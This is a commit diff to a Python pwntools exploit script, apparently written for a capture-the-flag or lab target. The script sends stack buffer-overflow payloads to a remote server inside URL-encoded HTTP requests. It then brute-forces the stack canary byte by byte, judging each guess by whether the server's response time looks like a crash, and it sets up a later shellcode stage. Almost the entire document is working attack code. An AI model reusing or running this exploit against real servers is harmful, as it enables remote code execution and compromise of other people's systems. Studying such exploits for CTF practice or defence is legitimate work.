working canary bruteforce

Author: robalb

expl_canary.py

@@ -3,7 +3,6 @@
 import time
 import statistics
 import math
-from scipy.stats import norm
 
 context.terminal = ['tmux', 'splitw', '-h']
 
@@ -27,6 +26,7 @@ def package_http_request(path):
         b"\r\n"
         ])
 
+
 def run_expl(payload, log=True):
     p = remote(ADDR, PORT)
     # buffer overflow
@@ -36,10 +36,14 @@ def run_expl(payload, log=True):
     expl += payload
     #url encode all the bytes that would block the http parser
     expl = expl.replace(b'%', b'%25')
-    expl = expl.replace(b'\x00', b'%00')
-    expl = expl.replace(b'\x20', b'%20')
-    expl = expl.replace(b'\x0a', b'%0a')
-    expl = expl.replace(b'\x0d', b'%0d')
+    expl = expl.replace(b'?', b'%3f')
+    for i in range(0x21):
+        expl = expl.replace(bytes([i]), f'%{i:02X}'.encode())
+    # expl = expl.replace(b'%', b'%25')
+    # expl = expl.replace(b'\x00', b'%00')
+    # expl = expl.replace(b'\x20', b'%20')
+    # expl = expl.replace(b'\x0a', b'%0a')
+    # expl = expl.replace(b'\x0d', b'%0d')
     http_req = package_http_request(expl)
     if log:
         print("sending these request bytes:")
@@ -71,7 +75,7 @@ def run_expl_timer(expl):
     print(f"server response time: {delta}")
     return delta
 
-def generate_crash_time_test(n=30, alpha=0.5):
+def generate_crash_time_test(n=30, treshold=3):
     """returns a function that will test if a given server response time
     indicates a server crash
 
@@ -80,39 +84,22 @@ def generate_crash_time_test(n=30, alpha=0.5):
     and a new sample is required for an accurate test
     """
     # get sample, from running a query that doesn't crash the server
-    print("generating sample...")
+    print("sampling server response time...")
     sample_timings = []
     for _ in range(n):
         expl = b'' #no exploit, the server should not crash
         sample_timings.append(run_expl_timer(expl))
     # calculate sample statistics
     mean = statistics.mean(sample_timings)
     std = statistics.stdev(sample_timings)
-    n = len(sample_timings)
-    stderr = std / math.sqrt(n)
     print(f"mean: {mean}\nstd: {std}\n n:{n}")
 
-    def z_test(x):
-        """return true if the given x time measurement indicates a server crash
-
-        This is testing if x is different from the sample measurements.
-        The sample measurements are taken on a non-crashing payload.
-        """
-        z_score = (x - mean) / stderr
-        # The p-value for a two-tailed test (check for significance in both directions)
-        p_value = 2 * norm.sf(abs(z_score))
-        #null hyp: x has the same distrib. as the sample.
-        #alt hyp: x is different from the sample
-        reject_null_hyp = p_value < alpha
-        return reject_null_hyp
-
     def is_outlier(x):
         """return true if the given x time measurement indicates a server crash
 
         This is testing if x is an outlier in the sample measurements.
         The sample measurements are taken on a non-crashing payload.
         """
-        treshold = 3
         Z = (x - mean) / std
         print(f"treshold: {Z}")
         is_outlier = abs(Z) > treshold
@@ -122,9 +109,6 @@ def is_outlier(x):
 
 
 
-
-
-
 def run_shellcode(canary):
 
     shellcode_payload = f"""
@@ -147,25 +131,78 @@ def run_shellcode(canary):
 
 def main():
     context.log_level = "warn"
-    is_crash_time = generate_crash_time_test()
+    test_sample_size = 2
+    crash_time_test = generate_crash_time_test(n=test_sample_size)
 
     #bruteforce the canary
-    
-    for _ in range(10):
-        t1 = run_expl_timer(b'\x00')
-        test = tester(t1)
-        print(f"NOCRASH time: {t1} is_crash: {test}")
-        if test:
-            print("!!!!!!!!!!!!")
-        t1 = run_expl_timer(b'\x01')
-        test = tester(t1)
-        print(f"CRASH time: {t1} is_crash: {test}")
-        if not test:
-            print("!!!!!!!!!!!!")
+    #TODO
+    canary_bytes = b''
+    canary_bytes = b'\x00L\x82_\xffP\x82\xf1'
+
+    for i in range(8 - len(canary_bytes)):
+        for j in range(0xff+2):
+            if j == ord('\t'):
+                continue
+            if j == 0xff+1:
+                #should not get here, recalibrate the timing test
+                print("recalibrating the oracle")
+                crash_time_test = generate_crash_time_test(n=test_sample_size)
+            else:
+                current_byte = bytes([j])
+                payload = canary_bytes + current_byte
+                print(payload)
+                response_time = run_expl_timer(payload)
+                is_crash = crash_time_test(response_time)
+                if not is_crash:
+                    canary_bytes += current_byte
+                    break
+
+    print("leaked canary: ")
+    print(canary_bytes)
+
+    #run shellcode
+    #TODO
+    # 
+    # for _ in range(10):
+    #     t1 = run_expl_timer(b'\x00')
+    #     test = tester(t1)
+    #     print(f"NOCRASH time: {t1} is_crash: {test}")
+    #     if test:
+    #         print("!!!!!!!!!!!!")
+    #     t1 = run_expl_timer(b'\x01')
+    #     test = tester(t1)
+    #     print(f"CRASH time: {t1} is_crash: {test}")
+    #     if not test:
+    #         print("!!!!!!!!!!!!")
 
 
     context.log_level = "info"
 
+def test(log=True):
+    p = remote(ADDR, PORT)
+    # buffer overflow
+    padding_size = 0x220       # tiny with canary
+    expl = b''
+    expl += b'\x01aaaaaaa'
+    expl += b'a'*(padding_size-8-8) #8 is the canary size
+    expl += b'\x01' #canary
+    #url encode all the bytes that would block the http parser
+    expl = expl.replace(b'%', b'%25')
+    expl = expl.replace(b'?', b'%3f')
+    for i in range(0x21):
+        expl = expl.replace(bytes([i]), f'%{i:02X}'.encode())
+    # expl = expl.replace(b'\x20', b'%20')
+    # expl = expl.replace(b'\x00', b'%00')
+    # expl = expl.replace(b'\x0a', b'%0a')
+    # expl = expl.replace(b'\x0d', b'%0d')
+    http_req = package_http_request(expl)
+    if log:
+        print("sending these request bytes:")
+        print(http_req)
+    p.send(http_req)
+    res = p.clean()
+    print(res)
+    p.close()
 
 main()